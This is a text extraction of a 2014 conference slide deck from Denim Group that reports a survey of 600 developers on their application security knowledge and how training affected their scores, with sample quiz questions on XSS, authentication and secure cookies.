Can AppSec Training Really Make a Smart Developer? · 2014-12-15 · 15 Multiple Choice Quiz-Style...

Can AppSec Training Really Make a

Smart Developer?

Research From Denim Group

June 26th, 2014

AppSec EU 2014

John B. Dickson, CISSP

@johnbdickson

© Copyright 2014 Denim Group - All Rights Reserved

• Application Security

Enthusiast

• Security Professional

• ISSA Distinguished Fellow

• MBA-type and Serial Entrepreneur

• Dad© Copyright 2014 Denim Group - All Rights Reserved 2

When I’m not thinking about appsec, I am…

© Copyright 2014 Denim Group - All Rights Reserved 3

Snake Hunting on Ranch in South Texas


Snake Hunting EssentialsCool Hat

Cool Hat

Snake Guards Common Gardening Tools Machete

Guy who has a machete and who actually is good at catching snakes

OWASP AppSec 2011 t-shirt

© Copyright 2014 Denim Group - All Rights Reserved

5

Why we have Snake Hunts

© Copyright 2014 Denim Group - All Rights Reserved6

“I personally believe that training users in security

is generally a waste of time, and that the money

can be spent better elsewhere.”

Bruce Schneier


• Both trying to change behaviors- Target audience has more power to say “no”

- Deadlines and releases drive training

• For developers, infrequent, but more disruptive- 15-45 minutes vs. 2-day class

How Developer Training is Different


Yet Training is Mandated

• PCI DSS 3.0 Train developers in secure coding techniques, including how to avoid

common coding vulnerabilities, and understanding how sensitive data is handled in memory

Testing Procedures: 6.5.a: Examine software development policies and procedures to verify that secure coding technique training is required for developers, based on best practices and guidance

Testing Procedures: 6.5.b: Interview a sample of developers to verify that they are knowledgeable in secure coding techniques

Testing Procedures: 6.5.c : Examine training records to verify that software developers received training on secure coding techniques, including how to avoid common coding vulnerabilities, and understanding how sensitive data is handled in memory


• Harvard Business Review- Large-scale organization development is rare

- Measurement of results is even rarer

• Workforce analytics rare- More than 25% of survey respondents use little or no workforce

analytics

- The vast majority (>61%) report their use as tactical, ad hoc, and disconnected from other key systems and processes

But Results Are Not Measured


• Software development field growing 30%

• Turnover- Industry – 14-15%

- General IT – ~20%

- Software Development – ~20 – 30%

Sources: Bureau for Labor Statistics and Society of Human Resources Management

Growth & Turnover Spur

Sense of Urgency


Research Overview

• Focus: Assess the software developers depth of

software security knowledge

• Purpose: To measure the impact of software security

training on that level of understanding

• Survey size: 600 software developers surveyed in North

America (US and Canada)

• Vertical markets represented: financial, government,

retail, educational, technology, energy and healthcare

segments© Copyright 2014 Denim Group - All Rights Reserved 12

Respondent Demographics

24 23

148

53 56

128

0

20

40

60

80

100

120

140

160

# o

f V

ali

d R

es

po

ns

es

Company Size

233

27 29

143

0

50

100

150

200

250

SoftwareDeveloper

QualityAssurance

Architect Other

# o

f V

ali

d R

es

po

ns

es

Primary Job Function



Less than a Year10%

1-2 Years8%

2-4 Years12%

4-7 Years11%

More than 7 Years59%

Software Development Experience



168

86

56

27

95

0

20

40

60

80

100

120

140

160

180

None Less than a Day At least 1 day, but less than2 days

At least 2 days, but lessthan 3 days

More than 3 days

# o

f V

ali

d R

es

po

ns

es

Previous App Sec Training


15 Multiple Choice Quiz-Style Questions

Targeted at Software Developers Varied by years of experience, amounts of previous training,

primary job function, company industry and company size

Distribution: Online (before and after)

Hard-copy questionnaires given to instructor-led class trainees (before and after)

Social media networks (sharing and some paid promotion with incentives)

Methodology


Hypotheses

1. Most software developers do not have a basic understanding of software security concepts.

2. Software security training can improve a developer’s knowledge of security concepts in the short-term.

3. Certain industries, such as financial services, are more likely to have software developers that are already exposed to key software security concepts.


Sample QuestionsIf an attacker were able to view sensitive customer records they should not have had access to, this would be a(n)_______breach.

___ Confidentiality ___ Integrity ___ Availability

Authentication is...

___ Proving to an application that the user is who they claim to be ___ Confirming that the user is allowed to access a certain page or function ___Verifying that the data displayed on a given page is authentic ___ Thoroughly logging all of a user's important activity


Sample Questions

Marking a cookie as “secure” will...

___ Force all requests that use the cookie to use SSL ___ Prevent an attacker from guessing its value ___ Encrypt it when sent over non-SSL requests ___ Tell the browser not to send it over non-SSL requests

Which of the following will help protect against XSS?

___ Only accepting URL encoded GET parameters ___ Not using any JavaScript in the application ___ Only using JavaScript in .js files stored on external hosts ___ Encoding special HTML characters in data as it is rendered to the page


Key Survey ResultsArchitects and software developers had a much higher level of

knowledge than QA, yet in many organizations QA

has a material role in application security

61%

56%

64%

56%

52%

54%

56%

58%

60%

62%

64%

66%

SoftwareDeveloper

QualityAssurance

Architect Other

Average % Correct(Primary Job Function)

31%

22%

34%

18%

0%

5%

10%

15%

20%

25%

30%

35%

40%

SoftwareDeveloper

QualityAssurance

Architect Other

Group Passing Rate (Primary Job Function)


Key Survey Results

Slightly more than half of the respondents correctly answered

basic awareness questions on application but struggled

with ways to operationalize appsec concepts

83%

69%

11%

0%

10%

20%

30%

40%

50%

60%

70%

80%

90%

#4: Cross Site Scripting (XSS) causes malicious scripts to execute on the

user's…

#7: Authentication is… #15: Which of the followingwill help protect against

XSS?

Percentage That Answered Correctly


Key Survey Results

• Almost 100 percent could define input validation, demonstrating

a choppy understanding of advanced secure coding knowledge

• Nearly 90 percent correctly identified proper session IDs which

is reassuring

95%

88%

84%

86%

88%

90%

92%

94%

96%

#1: Input validation is… #11: What is an example of propersession IDs?

Percentage That Answered Correctly


59%

74%

0%

10%

20%

30%

40%

50%

60%

70%

80%

Before Training (All) After Training (All)

Average % correct

Key Survey Results

• Retention rose by more than 25 percent after completing

secure coding training


Key Survey Results

Enterprises of more than 10,000 personnel had the lowest secure coding knowledge

61%

64%

58%

60%

62%

58%

55%

56%

57%

58%

59%

60%

61%

62%

63%

64%

65%

1-24Employees

25-99Employees

100-499Employees

500-2499Employees

2500-9999Employees

10,000 orMore

Employees

Average % Correct(Company Size)

33%

39%

26%

32% 32%

19%

0%

5%

10%

15%

20%

25%

30%

35%

40%

45%

1-24Employees

25-99Employees

100-499Employees

500-2499Employees

2500-9999Employees

10,000 orMore

Employees

Group Passing Rate (Company Size)


Key Survey Results

The majority of the respondents had no prior secure

coding training, which might be surprising

168

86

56

27

95

0

20

40

60

80

100

120

140

160

180

None Less than a Day At least 1 day, butless than 2 days

At least 2 days, butless than 3 days

More than 3 days

# o

f V

ali

d R

es

po

ns

es

Previous App Sec Training


Key Survey Results

There was no correlation between years of experience and knowledge of secure coding highlighting the continued need for effective security training

59% 60%

10%

20%

30%

40%

50%

60%

70%

80%

90%

100%

0 - 7 years More than 7 years experience

Ave

rage

% C

orr

ect

Years of Development Experience

Percentage of Correct Answers(Years of Development Experience)


Key Survey Results

The respondents that had more than 3 days of app sec

training in the past were able to answer more

than half of the questions correctly

29%

15%

27%22%

34%

0%5%

10%15%20%25%30%35%40%

None Less than aDay

At least 1day, but

less than 2days

At least 2days, but

less than 3days

More than3 days

Pe

rce

nta

ge o

f gr

ou

p w

ho

co

rre

ctly

an

swe

red

70

% o

r m

ore

qu

est

ion

s

Amount of Previous Application Security Training

Group Passing Rate (Previous App Sec Training)

59%

57%

60%59%

63%

54%55%56%57%58%59%60%61%62%63%64%

None Less than aDay

At least 1day, but lessthan 2 days

At least 2days, but

less than 3days

More than 3days

Ave

rage

% S

core

Amount of Previous Application Security Training

Average % Correct(Previous App Sec Training)


Key Survey Results

100% correctly identified where cross site scripting

executes after completing training, an increase of almost

20 percentage points

83%

100%

0%

20%

40%

60%

80%

100%

120%

Before Training After Training

Percentage With Correct Answers #4: Where Cross Site Scripting (XSS) Executes


Key Survey Results

The number of respondents able to correctly identify

what is application security more than doubled after

training was complete

21%

55%

0%

10%

20%

30%

40%

50%

60%

Before Training After Training

Correctly Identified Application Security Term


Other Observations

• Software Developers Learn Differently than Companies Teach

- Companies teach via structured e-Learning and classroom training

• Formalized, structured, and repeatable

• Auditable

- Developers Learn in much more unstructured and less formal ways

• RSS feeds, Twitter

• Incentives Matter

- Sobering “before” and after observations on survey completions

- Observations relevant to corporate application security managers rolling out training


So How Do Developers Learn?

• Informally and in an unstructured way via:• Blogs & RSS feeds

• Social media with emphasis

• Developer websites

• Influential e-mail lists

• Safarionline

• The Rise of Social Learning Systems• Informal, collaborative learning activities of individuals, teams and communities of learners.

• Focus is on connections, content, conversations, collaboration and influence to drive relevant, contextual learning and knowledge sharing across the enterprise.

- Source: “IT Market Clock for Human Capital Management Software, 2013,” Gartner, Aug 2013


Don’t Ignore Basics of Training

• Refresher training is still needed

• Training must be included in performance plans

• Managers increasingly want an ROI


Incentives Matter!


• Software developers still largely do not understand key software

security concepts

• 73% of respondents “failed” the initial survey

• Average score of 59% before training

• However, software developers’ understanding of key software

security concepts did increase after training

• QA staff struggled to understand software security concept vs.

architects and software developers

CONCLUSION


Where do we Go from Here?


Potential Follow ups

• Determine how this applies to you

• Ask for my deck!

• Consider reviewing white paper draft

• Participate in Survey 2.0 – starts July 2014- How does your organization stack up against

others?


Questions and Answers?

John B. Dickson

@johnbdickson

[email protected]


Date post:	26-Apr-2020
Category:	Documents
Upload:	others
View:	1 times
Download:	0 times

Can AppSec Training Really Make a Smart Developer? · 2014-12-15 · 15 Multiple Choice Quiz-Style...

Documents